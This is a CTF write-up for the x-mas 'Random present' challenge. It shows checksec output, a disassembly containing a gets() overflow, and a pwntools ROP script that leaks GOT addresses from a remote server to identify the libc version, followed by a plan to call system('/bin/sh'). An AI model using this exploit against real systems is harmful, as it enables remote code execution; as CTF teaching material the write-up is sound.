No libc.so No problem.

x-mas CTF – Random present.

A lot of times CTF challenges provide the libc.so file that is installed on the server.

During the x-mas CTF I found out that that is not always the case.

Lets first have a look at the binary

I use pwn tools to check what type of security is used on the binary.

$ pwn checksec chall 
[*] '/home/m42d/Desktop/CTFs/xmass/random present/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

And hopper do disassemble

                                    main:
0000000000400676 55                     push       rbp                          ; Begin of unwind block (FDE at 0x4008a4), DATA XREF=_start+29
0000000000400677 4889E5                 mov        rbp, rsp
000000000040067a 4883EC20               sub        rsp, 0x20
000000000040067e BF3C000000             mov        edi, 0x3c                    ; argument "__seconds" for method j_alarm
0000000000400683 B800000000             mov        eax, 0x0
0000000000400688 E8D3FEFFFF             call       j_alarm                      ; alarm
000000000040068d 488B05AC092000         mov        rax, qword [__TMC_END__]     ; __TMC_END__
0000000000400694 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
0000000000400699 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
000000000040069e BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
00000000004006a3 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
00000000004006a6 E8D5FEFFFF             call       j_setvbuf                    ; setvbuf
00000000004006ab 488B059E092000         mov        rax, qword [stdin@@GLIBC_2.2.5] ; stdin@@GLIBC_2.2.5
00000000004006b2 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
00000000004006b7 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
00000000004006bc BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
00000000004006c1 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
00000000004006c4 E8B7FEFFFF             call       j_setvbuf                    ; setvbuf
00000000004006c9 488B0590092000         mov        rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5
00000000004006d0 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
00000000004006d5 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
00000000004006da BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
00000000004006df 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
00000000004006e2 E899FEFFFF             call       j_setvbuf                    ; setvbuf
00000000004006e7 BFA0074000             mov        edi, aThisIsEasierTh         ; argument "__s" for method j_puts, "This is easier than you would think..."
00000000004006ec E85FFEFFFF             call       j_puts                       ; puts
00000000004006f1 BFC7074000             mov        edi, aSantaAllowedYo         ; argument "__s" for method j_puts, "Santa allowed you to ROP me!"
00000000004006f6 E855FEFFFF             call       j_puts                       ; puts
00000000004006fb 488D45E0               lea        rax, qword [rbp+var_20]
00000000004006ff 4889C7                 mov        rdi, rax                     ; argument "__str" for method j_gets
0000000000400702 B800000000             mov        eax, 0x0
0000000000400707 E864FEFFFF             call       j_gets                       ; gets
000000000040070c B800000000             mov        eax, 0x0
0000000000400711 C9                     leave

I first spend a lot of time trying to look for a solution were I din’t need a copy of the servers libc.so but with NX enabled and system not linked as external symbol. I realized that there was no way to do this.

Finding the version of libc.so

I need to figure out wat version of libc.so was loaded. I though I need to download a whole bunch of them and check were what the offsets of functions were compared to others and maybe I can figure out what version was running.

My idea seemed a little far fetched, but this was the only thing left I could think of.

While searching for a database or collection of libc.so files.I found that my idea wasn’t that far fetched at all. As I stumbled upon a git hub repository to build a libc.so offset database and a online searchable offset database at libc.blukat.me

leaking the offsets.

I made a small python script, that builds 2 ROP chains and leaks the memory addresses from the Global Offset Table.

from pwn import *
io = remote("199.247.6.180",10005)
start= 0x400590
GOT_puts =0x601018
GOT_alarm =0x601020
sym_puts = 0x00400550
pop_rdi = 0x0040077b # pop rdi; ret
r = io.recv() # flush the buffer
first rop chain to leak libc.so alarm offset and retun to beginning
p = 'A'*40+p64(pop_rdi)+p64(GOT_alarm)+p64(sym_puts)+p64(start)
io.sendline(p)
r = io.recv()
print 'alarm offset : '+hex(u64(r[0:r.find('\x0a',0,8)].ljust(8,'\x00'))) #
second rop chain to leak libc.so puts offset and choke on some bytes.
p = 'A'*40+p64(pop_rdi)+p64(GOT_puts)+p64(sym_puts)+"choke on it"
io.sendline(p)
r = io.recv()
print 'puts offset : '+hex(u64(r[0:r.find('\x0a',0,8)].ljust(8,'\x00'))) #
$ python leak.py
alarm offset : 0xa7efd18f45b10
puts offset : 0xa7efd18ef4c70

Now we can look up what version of libc is running on the server and find the offsets for ‘system’ and the ‘/bin/sh’ sting.

All that remains now it to write a script to build a rop chain to leak 1 address of the GOT. Calculate the base address of libc.so and send another rop chain to call system with /bin/sh as argument.